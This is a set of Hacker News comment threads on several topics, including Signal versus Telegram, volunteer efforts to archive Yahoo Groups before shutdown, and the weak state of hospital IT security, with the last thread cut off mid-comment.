> Signal with people you don’t necessarily want to give your phone number to.
So, how do you know that the Edward.Snowden@signal you're communicating with
is the same Ed Snowden that we all know about, and not some TLA stooge?
~~~
resonanttoe
You're missing the point. Neither Phone number of Email address/username solve
the problem you're proposing. But an email address/username is a lot more
transient than a phone number.
I can change emails/usernames very easily and with little effort, and while
burner numbers and applications that help that exist, changing phone numbers
is not as easy and thus a significant percentage of users are unlikely to do
it regularly. So you have a pseudo real ID that to the end user FEELS like it
isn't you, but is a very strong (no pun intended) signal that it is to anyone
looking in.
The phone number grants no you special verification of identity over an email
address that doesn't involve an external verification mechanism (i.e, talking
to the identity in person.)
------
ttam
funny enough, I was going to try out Signal today but stopped right after
seeing the permissions they request:
[https://pbs.twimg.com/media/CwhFsLzXcAIDcMH.jpg:large](https://pbs.twimg.com/media/CwhFsLzXcAIDcMH.jpg:large)
~~~
codethief
Well, everything is there for a good reason. (Though it escapes me right now
why it needs permission to access the calendar.) How are you going to call
someone over Signal if Signal can't use the microphone? If in doubt you can
always check the source code – it's open source for exactly that reason.
------
HashThis
How does Signal compare to Telegram? Would you recommend Telegram as better or
worse then Signal.
~~~
encryptawaa
On Signal, every message uses end-to-end encryption. Signal's servers can't
see the messages you are sending, only you and the recipient can read them.
Signal's encryption protocol is carefully scrutinized and follows best-
practices.
Telegram sends messages in plain-text by default. Telegram servers have access
to all plain-text messages that you send.
Telegram's private chats use end-to-end encryption. But they use an encryption
protocol that they invented themselves that doesn't follow best-practices.
Encryption experts have been critical of Telegram's encryption protocol since
it was released. So your private messages might not be so private, either.
If you are doing something sensitive and want to stay out of prison, use
Signal.
~~~
majewsky
Actually, _always_ use Signal unless you have contacts on Telegram that refuse
to migrate. Consider all communication via Telegram to be on public record.
~~~
jhasse
> Consider all communication via Telegram to be on public record.
Just because the protocol has flaws, doesn't mean everyone can exploit them.
On the other hand it's possible for Google to read every communication because
they have root on your phone. So using Telegram [1] with a custom ROM without
Google services (e. g. [2]) will make it harder for Google at least. Not
easily possible with Signal.
[1]
[https://f-droid.org/repository/browse/?fdfilter=telegram&fdi...](https://f-droid.org/repository/browse/?fdfilter=telegram&fdid=org.telegram.messenger)
[2] [https://copperhead.co/android/](https://copperhead.co/android/)
------
nopcode
Why is the author asking for GPL?
Wouldn't a ISC/BSD-like license be better for the federation aspect?
------
richardwhiuk
If you aren't going to recommend anything else then sit down and shut up
frankly. The world is made of compromises and saying I don't like your choices
is pointless if it's effectively impossible to choose differently.
------
wtbob
I am also very unhappy with the direction Signal has gone, but there's
currently no alternative. I'd be interested in contributing to work attempting
to replicate it, though.
~~~
zanny
I have some friends in an encrypted riot room right now. The olm could use a
real good audit, but otherwise it is working right now. Federation is working,
bridges are working, voice and video are working, it has Android and iOS
clients. The only problem is the encryption doesn't apply to the voice / video
or shared files yet, but they have made huge progress this last year from
basically nothing so far.
~~~
heavenlyhash
+1. I'm super happy with the Matrix / Riot ("riot" is the client) crypto work
over the last year.
It's such a relief to have a modern chat system that's FOSS, federates, and
offers a liiiiitle more advanced UX than irc...
------
angry_octet
If wishes were fishes we'd all live by the sea.
------
empath75
Any service that owns valuable user data is going to get compromised
eventually, whether they do it themselves, or are the victims of an attack. I
feel like the only way to not get swept up in the surveillance state is to
never put your data on one of these services at all.
------
fiatjaf
The Signal app is stupid. It doesn't work intuitively as WhatsApp. It's
incomprehensible that you need a phone number, it's incomprehensible that you
can't compile it yourself.
------
kingad
What are your views about VoIP with ZRTP?
~~~
mtmail
That's unrelated (off-topic) to Signal and what the blog post discusses, isn't
it?
~~~
fragmede
Though it wasn't explicitly mentioned in the blog post, Signal _does_ support
encrypted voice calls, so GP post isn't entirely off topic.
------
piotrjurkiewicz
Add a lack of real desktop to this.
~~~
piotrjurkiewicz
*real desktop client
------
bitmapbrother
>I’m pretty sure that Google could serve a specially modified update or
version of Signal to specific targets for surveillance, and they would be none
the wiser that they installed malware on their phones.
I'm not sure he understands how app signing works and why it would be
impossible for Google to forge a developer's signature. He also seems to have
a problem with GCM and Google in general. Perhaps he should look into writing
his own secure chat application.
~~~
throwaway101416
Why would they have to forge it? They can simply install a version that isn't
signed on your system via an update.
Then later replace it with a signed version once they have the data they
wanted. You would never know what happened.
------
sctblol
Hmm... he mentions the Giphy thing at the beginning of the article, then never
again.
The Giphy mention seemed really dangerous to me. Now I don't use Signal but I
imagine it's 1) optional and 2) requests are proxified/anonimised through an
intermediary (the Signal servers in this case). And why is this dangerous?
Because this "don't build cool stuff on this serious app" is what makes people
not use the app. It's creating boring, dull apps what stops them from becoming
mainstream successes. If we are trying to make the public using secure apps
because we believe in privacy, we have to make them appealing.
This is similar to the case of how nobody uses PGP because how horribly bad it
is, UX-wise.
That said the rest of points he brings up are good. I just didn't like the
Giphy mention, especially taking into account he didn't say anything else
about it, he just brought it up.
~~~
sandervenema
Hi there! The Giphy thing is what set me off writing the blog post in the
first place. Maybe I should've expanded a bit more on that in the article. As
far as I can tell, the idea is that requests to the Giphy API gets proxied
through Signal.
I don't see anything in moxie's blog post about whether this is optional. If
it isn't and it's sending everything you type to the Giphy API then we have a
whole new problem.
In the blogpost by moxie, there's the example of typing "Im excited", which
then gets sent in multiple API requests to giphy (basically one of 'I', one of
'Im', one for 'Im+' etc.). Now, if this is an action you don't do _explicitly_
(like pressing a button or something, to search for gifs), then it would
basically send everything you type in order to continually search for gifs and
then offer suggestions? It's not clear from the blogpost. I hope at least that
this is _not_ what moxie had in mind.
~~~
giancarlostoro
Giphy only occurs when you click on a button to add an attachment, and you
have to click on Giphy, THEN you search for GIFs.
------
joesmo
"Otherwise, we’ll be in danger of ending up in an neo-90s Internet, with
walled gardens and pay walls all over the place. You already see this trend
happening in journalism."
The internet will never be less walled, more free, and more federated than it
was in the 90's. With such a poor understanding of the internet and its
history, even if he did make a compelling argument (he doesn't), it'd be hard
to take seriously.
~~~
qwertyuiop924
You're forgetting about AOL and Compuserve. The Internet itself was federated.
Networking really wasn't.
~~~
joesmo
I forgot them on purpose because he's talking about the Internet, not
networking, not BBSs (which AOL and Compuserve were just big versions of). AOL
and Compuserve eventually made themselves just another part of the Internet,
but before that, they were really irrelevant in relation to the Internet's
federation. In fact, other than AOL being an ISP and a gateway to the Internet
for many, the actual AOL service was completely irrelevant once Internet
connections came along.
------
draw_down
> _The big question now... is what post-Signal tool we want to use. I don’t
> know the answer to that question yet_
Oh.
| {
"pile_set_name": "HackerNews"
} |
Mobile Patent Suits (An interactive visualisation) - apmee
http://bl.ocks.org/1153292
======
apmee
Want to make your own? See this recent post:
<http://news.ycombinator.com/item?id=2877790>
| {
"pile_set_name": "HackerNews"
} |
Show HN: Get Any GitHub User's Email Address - tal_berzniz
https://recruit.now.sh/
======
milankragujevic
> Email address for user "milankragujevic" could not be found
Hah.. [https://github.com/milankragujevic](https://github.com/milankragujevic)
~~~
tal_berzniz
Thanks, it seems that some users opt-out of committing their email
information.
------
bithakr
Couple of suggestions:
1) It seems like the site should always show the user's listed email, if one
is public. Mine show's someone else email that I have merged many commits
from, but my email is public.
2) maybe a confidence interval to show the percentage of commits with this
email?
| {
"pile_set_name": "HackerNews"
} |
Human-Assisted Archival of Yahoo Groups - jstanley
https://github.com/davidferguson/yahoogroups-joiner
======
jancsika
Wonder if we could make a deal with all those casino seo spammers from
indonesia. (Or whoever sells their service to them.)
If they will use their cache of yahoo addys to exfiltrate Yahoo Group content,
we'll give them a free month of gitlab user spam usage no questions asked.
~~~
ozfive
I agree there must be something that could be done to utilize the click farms
elsewhere.
------
jstanley
Leaderboard: [https://df58.host.cs.st-
andrews.ac.uk/yahoogroups/leaderboar...](https://df58.host.cs.st-
andrews.ac.uk/yahoogroups/leaderboard)
Unfortunately doesn't seem to be updated very frequently.
~~~
lucb1e
And my new yahoo account can't join any groups :/
~~~
username4567
I had this. Once I added a backup email address, it worked. I found this by
trial and error. It seems that Yahoo doesn't consider its email addresses to
be valid.
~~~
lucb1e
Did you see the sibling comment to yours, posted 7 hours earlier? Is that not
a different issue?
------
crazysim
Is there a possibility of asking ReCaptcha to disable their protection for
Yahoo Groups? It's a reach I guess.
~~~
ajayyy
That's Google, and that would be suicide to the brand.
~~~
kccqzy
Exactly. Especially since Google is trying to transform reCAPTCHA into an
enterprise offering: [https://cloud.google.com/recaptcha-
enterprise/](https://cloud.google.com/recaptcha-enterprise/)
------
philshem
As of now(), it seems the reCAPTCHA is over the limit
[https://github.com/davidferguson/yahoogroups-
joiner/issues/1...](https://github.com/davidferguson/yahoogroups-
joiner/issues/14#issuecomment-563060387)
~~~
kopiojnfaru
It works fine now, I have been joining groups for some hours.
~~~
tpmx
That's great! Thanks to whoever fixed this - at e.g. Google or Verizon.
------
jscholes
You can join a Yahoo group by sending a blank email to
"<groupname>-subscribe@yahoogroups.com". There is no CAPTCHA, only an
automated email confirmation which you reply to. Is there a reason why that
wouldn't work for this project?
~~~
philshem
If this works, would be much easier to automate the army of manual archivistas
that is currently using the chrome extension and blocked by recaptcha.
~~~
davidferguson
You can only join a very small number of groups this way before it just stops
working - we did try this out early in the archive process
------
joshuamcginnis
Could Mechanical Turk be used to do this? I'd be happy to make a donation to
help offset the cost.
~~~
O_H_E
This is the third time I have seen this suggested. Maybe get in touch, and try
to suggest that. I am also in a tight schedule these days and it would be
easier to help with money.
------
thinkingkong
How fitting that Yahoo archival needs to be organized by people.
~~~
Arbalest
How so? Are you referring to some kind of history of Yahoo?
~~~
thinkingkong
Yahoo started by building an index of the internet but instead of using an
algorithm, they primarily relied on people crawling the web and categorizing
websites and curating things. It was a people powered directory.
------
landryl
Jumped in when we were joining groups starting with 'S', and now we're already
at 'E'. Really satisfying.
Given that my account got a connection attempt from Sweden, I guess that's
where the archivist live. Hopefully he will have a nice morning tomorrow
thanks to the community.
~~~
kopiojnfaru
I started joining groups a few hours ago and now have 43. The first group I
joined started with U. Then there were some with T, some with S, and I'm at R
now.
I'd rather we archive large or relevant groups first instead of going
alphabetically and having to join groups with just 1 post.
~~~
davidferguson
It's going alphabetically through the group's people have nominated, and once
that's done, it'll go by group member count.
------
ozfive
Some things I noticed about google re-captcha already. It can't tell the
difference between a 3x3 matrix of a house and a bus, it doesn't know the
difference between scooters and motorcycles, it has a margin of error on fire
hydrants/usually the last image that it asks you to identify a fire hydrant in
and fades out will not bring up another fire hydrant so you can click verify
early.
~~~
CriticalCathed
I believe I read something on HN months ago that claimed Google would force
failures on otherwise successful captchas. Little bit of gas-lighting if true.
~~~
Jaruzel
Anecdotal I know, but I have definitely experienced this.
------
lopmotr
I wonder if groups with actual members will be OK. I'm a member of one and
have several years of message digests in my email. I just downloaded all of
them. For groups without members, or with no-one bothering to read them
anyway, maybe it doesn't actually matter?
~~~
Diagon
If they are public, yes, it should be ok. Regarding groups that are old or
inactive, A couple that I'm concerned with had important early discussions,
that people on other derivative groups refer to regularly.
------
OJFord
I haven't seen anything about this saga in mainstream news; I can't see that
it's going to be won without getting papers on-side.
~~~
Diagon
There are three that we've noticed so far:
[https://bbs.boingboing.net/t/as-the-end-nears-for-yahoo-
grou...](https://bbs.boingboing.net/t/as-the-end-nears-for-yahoo-groups-
verizon-pulls-out-all-the-stops-to-keep-archivists-from-preserving-
them/156924)
[https://www.zdnet.com/article/verizon-kills-email-
accounts-o...](https://www.zdnet.com/article/verizon-kills-email-accounts-of-
archivists-trying-to-save-yahoo-groups-history/)
[https://www.theinquirer.net/inquirer/news/3084557/verizon-
bl...](https://www.theinquirer.net/inquirer/news/3084557/verizon-blocks-
archivists-yahoo-group-content)
But yes, you are right. We need to keep pushing it into the public sphere.
Twitter, Reddit, I hate to mention FB here, but ...
~~~
OJFord
I don't really consider those 'mainstream news', I've only heard of zdnet - I
thought boingboing was a public WiFi hotspot provider.
I primarily mean newspapers. The Times (of London & New York), The Guardian,
but Bloomberg too.
The story is probably a wider point about the fragility of online information,
for which this is a mere significant event, but without that happening I just
don't see the give-a-shit count increasing.
------
aitchnyu
How can I recognise services that intend to live forever? Meetup used to have
reports and mailing lists but it went to a sinking company and is now a
pointless SPA which doesnt let Firefox log in. I know a group that acquired
several competing products, and they missed a crucial innovation which the
indies had for a while.
~~~
pjc50
Nobody and nothing lives forever.
For organisations, the best you might be able to do is some kind of co-
operative: it's much less likely to sell out (although not impossible), you
generally get a vote in how it's run, and since they're forced to be self-
funding you're not dependent on VC funding whims. With sufficient runway
transparency you can always know how far they are away from shutdown and how
much funding they need.
Twenty years ago (!) I helped set up a hosting co-op for university societies:
[https://www.srcf.net/](https://www.srcf.net/)
One of our specific aims was preserving continuity. Most societies are run by
undergraduates who do it for a year or two and leave after 3 years, so making
it as easy as possible to handle handover was a key feature. It's done pretty
well for something that pre-dates Facebook, Github, Myspace, and even Yahoo
Groups itself.
~~~
aitchnyu
I admire the neat design and a backend of (quoting your site) "the server".
Have you written an article about this?
~~~
pjc50
Oh, it's been years since I was involved with any of the actual running of it.
I don't even have a shell account any more. In the early days it _was_ "the
server", a spare PC that was donated. These days it looks like they have a
donated cluster:
[https://www.srcf.net/faq/about#system](https://www.srcf.net/faq/about#system)
The "backend" will be Apache. On day 1 we used SSI (server-side includes) for
"theming" pages, which were all in handwritten HTML. I suspect it's still like
that given the five blank lines before DOCTYPE. It looks like some bootstrap
CSS has been sprinkled on it since then. There's no front-end Javascript
because there doesn't need to be.
> Until 2006 we had just one server in use, kern (a dual Athlon 1.6GHz PC with
> 2GB of RAM and 400GB of disk). Before that we used to run on an ancient
> Intel Pentium running at 166MHz with 128MB of RAM. How times have changed :)
Indeed. That ancient system was perfectly adequate for serving web pages to a
few thousand people for light use. At the time I was carrying around the
amazing new thing that was a computer you could fit in your pocket and play
music illegally downloaded from the internet on. It was a Toshiba Libretto 30
with 8MB (eight megabytes) of RAM and a PCMCIA sound card.
Our systems approach to the SRCF was very much "what is the simplest thing
that could possibly work". Apache+CGI+PHP with UNIX user accounts will get you
a _long_ way if you let it.
The real achievement is political and personal. I'm amazed that they've always
managed to find good enough volunteer staff for the whole thing for twenty
years.
------
barik
How many more groups are left to join? There's no easy to way as far as I can
tell to get a sense of completion. The extension goes in reverse alphabetical
order, but also loops around again.
------
xianwen
Is there any market to run a self sustained website like Yahoo Groups? By self
sustained, I mean that there would be income that would pay the hosting costs.
~~~
lonnyk
Facebook and Reddit are pretty good at running groups.
------
sundarurfriend
Is there any way to make this extension work on Firefox?
------
Diagon
Three Ways You Can Help:
Help by Joining Yahoo Groups so the Archive Team can Download them (easy! -
this is the link in the OP here):
[https://github.com/davidferguson/yahoogroups-
joiner](https://github.com/davidferguson/yahoogroups-joiner)
(That's the most needed right now so the scripts can get access to the
groups.)
Help by Downloading yahoo Groups with the Archive Team's Script (not hard!):
[https://www.archiveteam.org/index.php?title=ArchiveTeam_Warr...](https://www.archiveteam.org/index.php?title=ArchiveTeam_Warrior)
Get the word out/Call for Action (put pressure on Verizon!):
[https://modsandmembersblog.wordpress.com/taking-
action/](https://modsandmembersblog.wordpress.com/taking-action/)
Don't miss the sidebar with these links:
https://modsandmembersblog.wordpress.com/media-contacts/
https://modsandmembersblog.wordpress.com/contacting-verizon-directly/
https://modsandmembersblog.wordpress.com/contacting-verizon-yahoo-stockholders/
Also, you can add these emails to the media contacts:
"Reporter Katyanna Quach" <kquach@theregister.co.uk>,
"Managing editor Gavin Clarke" <gavin.clarke@theregister.co.uk>,
"Corey Wilson & Rachel Janc; Senior Director, Communications" <press@Wired.Com>,
"Pitches" <submit@wired.com>,
"Rich Woods" <rich.woods@neowin.net>,
"Paul Thurrott" <paul@thurrott.com>,
"Brad Sams" <brad@petri.com>,
"Kate Rayford, Media Inquiries" <katie.rayford@slate.com>,
"Bryan Lowder (LGBTQ issues/culture)" < bryan.lowder@slate.com>,
"Torie Bosch (emerging technology effects on public policy and society)" <torie.bosch@slate.com>,
"Jonathan Fischer (big tech, cities, media/internet culture)" <jonathan.fischer@slate.com>,
"Susan Matthews, Health & Science" <susan.matthews@slate.com>,
"Erika Allen, Executive Managing Editor" <erika.allen@vice.com>,
"Katie Drummond, SVP, Global Content" <katie.drummond@vice.com>,
"Press, US" <press@vice.com>,
"Press, Canada" <presscanada@vice.com>,
"Press, UK" <ukpressoffice@vice.com>,
"Pitches, Culture" <culture.pitches@vice.com>,
"Pitches, Tech" <tech.pitches@vice.com>,
"Issues" <issues.pitches@vice.com>
------
ajayyy
Can you only join one group per account?
~~~
barik
You can join as many groups as you want. For example:
[https://df58.host.cs.st-
andrews.ac.uk/yahoogroups/leaderboar...](https://df58.host.cs.st-
andrews.ac.uk/yahoogroups/leaderboard)
------
abathur
An injunction would be nice, though I'm not sure if a court would see anyone
as having sufficient standing to stop the gears entirely.
~~~
pjc50
There's absolutely no legal basis for such a thing, though. _Legally_ it's
Yahoo's and they can shut it down and delete it tomorrow. It's only morally
that they have an obligation.
------
ozfive
On It!!!
------
yori
Wow! Kudos to the Archive Team on not giving up on this mission.
| {
"pile_set_name": "HackerNews"
} |
Twitter seeks subtenants for its SF HQ, as its own employees stay home - randycupertino
https://www.sfchronicle.com/business/article/Twitter-seeks-subtenants-for-its-SF-HQ-as-its-15554674.php
======
randycupertino
Their main HQ building has been empty for a while. Surprised that this hasn't
happened sooner! Not sure who would be in the market to take on the sublease,
especially with other firms also subleasing and not renewing their office
space... crazy market for those looking have lots of options.
| {
"pile_set_name": "HackerNews"
} |
40 Alternatives to College - jaltucher
http://www.jamesaltucher.com/2012/04/new-book-40-alternatives-to-college/
======
GatitoLindo
I don´t think that this really belongs here... While it could be interesting,
it´s essentially just blogspam trying to sell an e-book for 99 cents.
~~~
zotz
I must disagree. Altucher belongs on HN.
"I do this with all sincerity. I priced the book as little as I could (99
cents) and it’s even free for Amazon Prime members. Any meager money I make on
this will be donated to whatever foundation I can find that can keep people
from going to college. Nothing in my career has anything to do with this. It
did not help me in any way to spend 100s of hours getting this book ready and
available to you and your children.
I am shamed by the indentured servitude that our 22 years olds find themselves
in when they graduate. Student loan debt just topped a trillion dollars for
the first time. I am ashamed by an America that let this happen. I describe in
the book the groups who benefit from that trillion dollars. They don’t care
about 18 year olds. They care about their own egos. They care about money."
| {
"pile_set_name": "HackerNews"
} |
Show HN: Solve Something - an image-based solver for Draw Something - jzting
http://itunes.apple.com/us/app/solve-something-for-draw-something/id515850565?ls=1&mt=8
======
jzting
Made this over a handful of nights and weekends. To use, take a screenshot of
the Draw Something drawing you are trying to guess and import it into the app.
That's all!
~~~
jpadilla_
This is pretty awesome! Mind sharing how the recognition works?
~~~
jzting
It's using OpenCV's template matching function. I tried to use other OCR
libraries but OpenCV ended up yielding the most accurate results.
~~~
rollypolly
How did fit everything in a 3M IPA? Is anything downloaded after the app is
installed?
~~~
jzting
I ended up doing the processing server side - performance on older devices was
shockingly slow.
------
peter_l_downs
How does it work? Looks very cool.
~~~
dfxm12
Disclaimer: I don't have the app, so I don't know for sure...
I think the easiest way to solve this problem is to read the letters
available, figure out how many letter the solution is, then compare these to
the database of DrawSomething words. Many times you'll get a handful of
possible solutions (especially for shorter words), but often enough, there
will only be one possibility.
------
underscoretang
Can you make it draw for you too?
~~~
jzting
No app for that (yet).
| {
"pile_set_name": "HackerNews"
} |
Homo erectus made world's oldest doodle 500,000 years ago - tokenadult
http://www.nature.com/news/homo-erectus-made-world-s-oldest-doodle-500-000-years-ago-1.16477
======
avz
There is one observation I find missing in the discussion of prehistoric
abstract art. It is that with primitive tools and techniques the abstract kind
of art is easier. It is the non-abstract kind that is difficult.
Regardless of the causes for their preference towards the abstract kind of
art, I find it amazing that _Homo erectus_ 500,000 years ago had some art at
all.
~~~
ap22213
There's a gradient between the abstract and the non-abstract. And, the artist
decides the position on the gradient based on their communication intent, the
subject (the perceived audience), and the object (the perceived thing), even
if they're just 'doodling'.
Art is a cost / benefit play, just like most activities. Sometimes, it just
makes sense to keep things simple - especially if there's not much to
communicate.
~~~
Nzen
Scott McCloud's _Understanding Comics_ presents a more robust paradigm than
abstract-not. He posits a triangle whereby visual communication selects a
space between three poles: representative , abstract , realistic. I encourage
you to look at his slideshow on the topic.
[http://www.scottmccloud.com/4-inventions/triangle/index.html](http://www.scottmccloud.com/4-inventions/triangle/index.html)
------
artichokeheart
My inner 5 year old can't help but snigger at this headline.
~~~
S_A_P
Dont feel badly for the downvotes. I seriously cant help myself either. And
those who down vote something that is so blatantly funny to my inner 12 year
old as "Homo Erectus" need to stop taking themselves so seriously. I really
gotta wonder why the people who came up with these names didnt put a little
thought into what they were saying. Homo Erectus?!?!? That is hilarious...
~~~
S_A_P
and further proof that you are never allowed to think things on HN are
funny...
~~~
coldpie
It's a bit like making a Uranus joke on an article about the planet. Yeah,
okay, teehee, but we've heard it all before and moved on. You're not adding
anything to the discussion, and the joke wore out long, long ago.
------
mc_hammer
what if we werent evolving... what if we are from space, and we are devolving
slowly into apes, that we didnt share the common ancestor, we are just closer
to it, and less devolved, and right now there are only 20000 gorillas left,
who are really, more devolved humans...
actually why isnt this possible? ive been thinking about this for 2-3 days and
i am not sure what the flaw is.
unrelated but also... supposedly there are 8' tall supergiant human skeletons
at the smithsonian... hundreds of them.
~~~
ChrisGranger
And what if there are unicorns?
There's no evidence to suggest what you're saying, and mountains of evidence
against it. It might be fun to daydream about "What if?" questions, but the
flaw is that the hypothesis is discounted by what we already know to be true.
We've mapped the genomes of many primates and have a pretty good handle on how
the branches of our "family tree" play out.
As far as the hundreds of 8'-tall giant human skeletons at the Smithsonian,
I'm going to need a source.
| {
"pile_set_name": "HackerNews"
} |
How we run our bug bounty program - leifdreizler
https://segment.com/blog/bug-bounty-at-segment/
======
chabad360
_" All of our most critical submissions have come from researchers that were
originally rewarded for a well-written duplicate."_
I think that's a key line that should have been added to the top tips.
~~~
leifdreizler
Thanks for reading my blog. I tried to keep the "top tips" short and thought
this was partially captured via
\- Pay for anything that brings value \- Pay extra for well-written reports,
even if they’re dupes
with the hopes that if someone saw this and wanted to read more they'd skim
through the blog :)
~~~
TheCrott
I have question to your bug bounty program. What's the best way to reach you?
~~~
leifdreizler
@leifdreizler on twitter! LinkedIn is also fine but I don't check it as
regularly
------
devmunchies
Not a segment specific question, but if I discover a bug while working on a
task for my employer, will that bounty be discounted off the bill or will it
go to me directly? what's typical?
~~~
tptacek
It's best-practice to get permission from your employer to submit bugs you
discover on their time to bounty services, and then for you to collect the
entire bounty. It's common for people just to quietly submit bounties; I
wouldn't, but then I work in a field where it's a big deal to disclose on-the-
job findings. You might not.
| {
"pile_set_name": "HackerNews"
} |
Ask HN: What is it like to work on software for space exploration? - Winterflow3r
Hi HN!
One of the most inspiring presentations I've ever seen is by someone who worked on the code and instrumentation for the Rosetta spacecraft sent to explore the comet Churyumov-Gerasimenko. I still think about this presentation often and wondering how is it really like to write code for spacecrafts and space missions. Has anyone worked on similar projects professionally? Can you share a bit about your experience and the exciting technical challenges? Thanks in advance!
======
noir_lord
Do you have a link to the presentation?
~~~
Winterflow3r
Hey! It was actually the PyCon 2015 keynote
[https://www.youtube.com/watch?v=zg6SdUF-
BaM](https://www.youtube.com/watch?v=zg6SdUF-BaM)
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HP to offer 3-year laptop battery as an option - ccraigIW
http://www.infoworld.com/article/08/12/10/HP_to_offer_3year_laptop_battery_1.html
======
josefresco
Misleading title, the battery does not hold a charge for 3 years. It has a
lifespan of 3 years assuming 1000 charges.
~~~
ConradHex
Exactly.
I was so excited, too. "Does it have a mini nuclear reactor?"
------
mhb
More on Boston Power, the company that makes the battery:
<http://www.spectrum.ieee.org/mar08/6008>
~~~
josefresco
The article would be fine without the anecdotal evidence of battery fires. I
doubt it's a common occurrence given how many batteries are out in the wild.
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Venmo Touch Screencast: Add credit card payments to your iOS app in 15 minutes - mtattersall
https://www.braintreepayments.com/braintrust/venmo-touch-screencasts-add-one-touch-payments-to-your-app-in-15-minutes
======
sbaumgarten
Isn't accepting external forms of payment against Apple's guidelines?
~~~
jtdowney
Apple's guidelines only cover purchasing digital content. You may use outside
payment methods to purchase physical goods or services used outside of your
application. For example this is how Uber, Hailo, Airbnb, Hotel Tonight, and
Task Rabbit all manage to take payments in their current iOS applications.
(Disclosure, I work for Braintree)
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RHEL 6 Beta Now Available for Public Download - jpalmer
http://press.redhat.com/2010/04/21/red-hat-enterprise-linux-6-beta-available-today-for-public-download/
======
jpalmer
ISOs: ftp://ftp.redhat.com/pub/redhat/rhel/beta/6/
Docs: [http://www.redhat.com/docs/en-
US/Red_Hat_Enterprise_Linux/6-...](http://www.redhat.com/docs/en-
US/Red_Hat_Enterprise_Linux/6-Beta/)
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It’s Way Too Easy to Hack the Hospital - jeo1234
http://www.bloomberg.com/features/2015-hospital-hack/
======
famousactress
I've been in Healthcare IT for a decade and a half or so, and I think there's
definitely a reckoning coming with regard to the lapses in security.
I think honestly, the only thing that's kept this from being a problem with
greater consequence is that to date it hasn't been clear that there's a real
path to monetization of health data. It's been a lot more profitable to chase
down credit card #'s and mass email/password combinations that lead to banking
access.
I've long wondered when a solid monetization strategy for health data would
show up and we'd see a quick rush to target these datasets. Trends that I see
that make me think we're getting closer:
1\. Systems are increasingly net-connected, obviously. In some ways it's
increasing security (literally most hospitals I've been in you could plug into
any ethernet port in the building and be on a network where pretty sensitive
data is sent in the clear), but it's making these systems available to a
larger number of interested attackers
2\. Patients have accounts now. Health data is suddenly a not-insignificant
source of email/password combinations for patients (previously just
employees). Pretty reasonable to expect that health systems may be the source
of future Gawker-style breaches for collecting poorly protected user
credentials that can be used elsewhere.
3\. The uptick and cost-effectiveness of encryption-ransomware, personal and
corporate. It's been interesting to see cases where the data itself isn't
monitezed because it has some broad market value, but solely by threatening
the owners with it's release or exposure. I won't be surprised if Healthcare
organizations or individual patients find themselves victims of extortion
either by threatening to publish sensitive health data, or to destroy it.
There is (finally) an extra-linear increase in attention to this issue in
Health IT, but there's also quite a large backlog of debt and an enormous
number of systems deployed that were built for a different reality than
current exists.
~~~
devonkim
What bothers me is that I was under the impression that if you have a HIPAA
compliant information system (software or hardware) that none of these
criticisms would be true, yet we know that this is essentially the norm and
that healthcare providers routinely ignore the problem. What's going on such
that hospitals have the worst of both worlds - expensive devices subject to
incredible amounts of regulation to safeguard patients but demonstrably
insecure systems? I'd hate to think of what would happen if we had no
regulations whatsoever, but on the other hand the current effective infosec
status of the healthcare industry seems to be not very far off from as if they
had no regulations.
Did I miss something in HIPAA about "don't make it easy as hell for any random
person to come in and steal patient data or command other HIPAA compliant
systems to act as an agent?"
~~~
dragonwriter
> What bothers me is that I was under the impression that if you have a HIPAA
> compliant information system
The idea of a "HIPAA compliant information system" is largely empty marketing
speak (less so in terms of the Transactions and Code Sets rule than the
Privacy and Security rules); HIPAA and its implementing regulations do not
establish specific standards for information systems (in privacy/security
terms), it sets specific standards for what organizations holding PHI must do,
and most of the technical features of software related to those functions are
unspecified and, to the extent that there are requirements, whether the
software as used is compliant will be highly dependent on the relation between
the policies, specific functions performed by the organization, and how the
software is used.
At most, software has features which _facilitate_ compliance with some parts
of HIPAA, but you can't just drop in a piece of software and achieve turnkey
HIPAA compliance.
------
david_shaw
Many people throw hospital security into the pile of "well, lots of people
don't care about infosec!" In my opinion, this stance is incorrect.
I've performed security assessments against many different industries,
including banks, large enterprise, barely-funded startups, nuclear power
facilities, law firms, hospitals, and more. In each of these fields, you see
the "good guys" and the "bad guys" in terms of IT security strength. In
hospitals, though, _the whole field_ is terrible. The best of the best --
high-tech facilities that actually care about security -- are still doing
terribly compared to the average large enterprise.
Health records are becoming more valuable, and not just because of blackmail.
Insurance fraud and identity theft are feasible if you've stolen someone's
health records, and the information stored within is only getting broader.
Hospitals wouldn't let their medical tech slip this far. They shouldn't let
their security slip, either.
~~~
pasbesoin
There are many forms of extortion. Until recently, health care insurance
coverage and care were one primary route exercised by institutions in the U.S.
(Just one example: Roll over and take it at work, or you'll lose your health
care.)
The ACA was supposed to help address that, but, entering its third year, I at
least see significant signs of its being weakened.
So... it's not just black hat bad actors. The proliferation of this data, by
means legal, or gray, in addition to black, threatens a broad and diverse
swath of those who have... less than perfect statistics.
Not just in health care, but in general, I've observed a lot of apathy towards
security because corporations and large institutions serve a very significant
role in _diluting responsibility_ and repercussions. No one person -- at least
and especially and including those with actual power to deploy resources
against problems -- is really on the hook. Even in the C suite. Hell, it seems
that "taking the blame" has become a significant component of such roles: You
parachute out, and someone picks you up to play a repeat performance a year or
two down the line.
No one really answers. And there is a lot of pressure -- below the surface --
to continue making this information more transparent and readily accessible.
"Black hats" become a straw man for an industry that, in many respects, in the
whole is actually trying to move in the opposite direction.
With such discontinuity, is it any wonder that the results are a disaster?
------
rjzzleep
Forget about hacking devices. We once walked into a hospital to talk to nurses
and show them a tablet app to access notes lab results etc.
The scary part was that the server room with the PACS and everything else in
the building was unprotected with unlocked doors and nobody particularly
caring we were there.
Imagine walking into a random law firm and walking into the server room with
the ability to copy all data from all the clients.
Not cool, at all.
~~~
bcostlow
Most PACS get data from devices and send it to workstations unencrypted. The
security model implemented on them is usually no more than a white list of IP
addresses the PACS will talk to. (To be fair, many of the servers have better
security available now, but hospitals haven't taken advantage of it). Combine
that with insecure, unsegmented networks, and hackable WiFi, and you don't
need physical access to the server room.
------
physguy1123
“I appreciate you wanting to jump in,” Rick Hampton, wireless communications
manager for Partners HealthCare System, said, “but frankly, some of the
National Enquirer headlines that you guys create cause nothing but problems.”
This right here is the problem - Researchers unveiled serious threats in the
hardware - the ones described in the article could all be used to kill. And
the response to that? "Shut up, you're scaring people".
Those headlines should be scaring people because they are scary!
~~~
FLUX-YOU
You won't convince these guys, they're mostly jackasses. The only thing that
will get through to them is something that pulls their negligence and horrid
practices out into the light.
You need headlines to break them. They will not do the right thing until they
have to, and the FDA isn't going to get that rolling.
I'd want good disclosure practices if someone was targeting my products, but
I'm also not stubborn and defend terrible products with "Well, no one has been
hurt yet!"
~~~
anon4
